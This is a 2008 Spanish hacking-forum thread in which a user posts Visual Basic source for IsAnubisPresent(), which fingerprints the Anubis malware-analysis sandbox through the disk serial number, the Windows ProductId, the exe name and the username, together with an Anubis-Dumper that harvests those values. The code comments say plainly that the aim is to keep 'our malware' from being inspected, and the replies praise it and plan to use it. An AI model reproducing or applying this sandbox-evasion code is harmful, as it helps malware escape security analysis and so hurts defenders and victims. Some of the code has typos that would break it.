[Source] IsAnubisPresent() - Sistema AntiAnubis SandBox

Iniciado por Mad Antrax, 27 Junio 2008, 23:17 PM

0 Miembros y 1 Visitante están viendo este tema.

Mad Antrax

Aquí vuelvo con una nueva función: IsAnubisPresent(). Dicha función permite de una forma muy rápida saber si nuestra aplicación se está ejecutando dentro de la SandBox de Anubis, permitiendo en tal caso terminar la ejecución del programa y evitar que nuestras funciones sean inspeccionadas por el usuario, pero antes...

¿Que es Anubis?

Anubis es un servicio gratuito que permite a un usuario enviar un fichero ejecutable para ser examinado de forma exhaustiva. Anubis es una aplicación con un front-end basado en Web, pero el back-end sigue tratándose de un simple PC con Windows instalado y una SandBox que recopila información de los ficheros enviados.

Anubis Web :http://anubis.iseclab.org/

¿Como funciona IsAnubisPresent()?

Bien, como ya se ha explicado, el back-end de este servicio es un Windows completo: con su registro, sus ficheros, sus variables de sistema, etc... mucha de esta información es única (por ejemplo el número de serie del HDD, el número de serie del ID de Windows, etc...) y con una simple comparación podemos saber si nuestro ejecutable esta siendo analizado desde ese Sistema Operativo en concreto

Vale, lo entiendo... pero ¿como has adivinado los números de serie del Windows de Anubis?

Bueno, la idea no es 100% mía. En internet circula un Source algo extenso y desordenado que recoge la información de una variable del registro para comparar el ProductId, viendo ese source se me ocurrió la idea de programar mi propio: Anubis-Dumper. Este programa recopila dicha información única del Sistema Operativo Windows de Anubis y genera carpetas en la raiz con los valores recopilados, con el único fin de mostrar dichos valores por el propio sistema de análisis de Anubis.

Aquí una captura del Anubis-Dumper que me permitió recopilar los datos



Una vez que tenemos los valores, solo he tenido que generar una sencilla función que haga las comprobaciones oportunas para detectar si el ejecutable se haya bajo el análisis de Anubis

Ole!, dejemonos de royos, donde está el source?

Aquí te dejo el source principal: Anti-Anubis

Código (vb) [Seleccionar]
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anti-Anubis 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     27/06/08
'
' Programa que detecta si nuestro malware
' se ejecuta en la SandBox de Anubis, permitiendo
' finalizar el proceso y evitar que inspeccionen nuestro
' malware :)
'
' Original idea: http://hackhound.org
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Function IsAnubisPresent(ByVal OptionToCheck As Integer) As Boolean
    On Error Resume Next
    Set WShell = CreateObject("WScript.Shell")
   
    Select Case OptionToCheck
        Case 1  'Recomendado
            If GetSerialNumber(Environ("SystemDrive") & "\") = "1824245000" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 2  'Recomendado
            If WShell.RedRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId") = "76487-337-8429955-22614" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 3  'No recomendado
            If UCase(App.EXEName) = "SAMPLE" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
        Case 4  'No recomendado
            If UCase(Environ("USERNAME")) = "USER" Then
                IsAnubisPresent = True
            Else
                IsAnubisPresent = False
            End If
    End Select
End Function

Public Function GetSerialNumber(DriveLetter As String) As Long
    Buffer1 = String$(255, Chr$(0))
    Buffer2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(DriveLetter, Buffer1, Len(Buffer1), SerialNum, 0, 0, Buffer2, Len(Buffer2))
    GetSerialNumber = SerialNum
End Function


Para ejecutar el programa se recomienda lo siguiente:

Código (vb) [Seleccionar]
Sub Main()
If Is AnubisPresent(1) = True Then End
'Your Code Here...
End Sub


Y por si alguien le interesa, os dejo el Source del Anubis-Dumper, solo hay que compilar el dumper y enviarlo para analizar al propio Anubis, en cuestión de minutos obtendremos las variables preparadas para programar las condiciones para el Anti-Anubis.

Código (vb) [Seleccionar]
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Program:  Anubis-Dumper 1.0
' Coder:    MadAntrax
' Web:      foro.elhacker.net
' Date:     27/06/08
'
' Programa que recopila cierta información del sistema
' y genera carpetas en la raíz con el único fin
' de mostrar dicho contenido en la web de Anubis
'
' Original idea: http://hackhound.org
'
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function GetVolumeInformation Lib "kernel32.dll" Alias "GetVolumeInformationA" (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Integer, lpVolumeSerialNumber As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long

Public Function GetSerialNumber(strDrive As String) As Long
    Temp1 = String$(255, Chr$(0))
    Temp2 = String$(255, Chr$(0))
    Res = GetVolumeInformation(strDrive, Temp1, Len(Temp1), SerialNum, 0, 0, Temp2, Len(Temp2))
    GetSerialNumber = SerialNum
End Function

Sub Main()
    On Error Resume Next
   
    Set WShell = CreateObject("WScript.Shell")
    MkDir GetSerialNumber(Environ("SystemDrive") & "\")
    MkDir Environ("USERNAME")
    MkDir App.EXEName

    AA = WShell.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId")
    MkDir AA
    DoEvents
    End
End Sub


Dejo adjunto un fichero con los 2 sources preparados. Saludos!!
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

aaronduran2

Parece bueno; voy a probarlo. Buen trabajo, ||MadAntrax||.

Mad Antrax

Cita de: aaronduran2 en 27 Junio 2008, 23:21 PM
Parece bueno; voy a probarlo. Buen trabajo, ||MadAntrax||.

No lo parece... lo es!! :P :xD

Próximo objetivo: IsSandBoxiePresent() (Ya lo tengo terminado, estoy redactando el testo del post...)
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.

krackwar

Esta muy bonito el code , voy a bajarlo y provarlo  ;) . hace tiempo que no posteabas modulos .
muchas gracias  ;) .

PD:Los que lo ocupen dejen los comentarios tal cual , ya que es injusto que el que lo ocupe diga que el programo todo el proyecto  ;) .
Mi blog
Bienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran.
El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.

Karcrack

#4
Muy buen aporte Mad ;)
Saludos :D

~~

Muy bueno Mad, te lo pongo en la biblioteca de sources, aunque también te lo podías poner solo xDD Buen trabajo a ver cuanto tiempo dura siendo tuyo esta vez....  :¬¬

Mad Antrax

Cita de: E0N en 28 Junio 2008, 14:13 PM
Muy bueno Mad, te lo pongo en la biblioteca de sources, aunque también te lo podías poner solo xDD Buen trabajo a ver cuanto tiempo dura siendo tuyo esta vez....  :¬¬

Realmente no es mio, en otros foros he visto que usan la misma técnica para detectar el s/n del HDD. Lo que sí es mio es el Anubis-Dumper que me sirvió para recopilar otros datos del SO Windows de Anubis y poder crearme mi própia función de IsAnubisPresent()

Saludos
No hago hacks/cheats para juegos Online.
Tampoco ayudo a nadie a realizar hacks/cheats para juegos Online.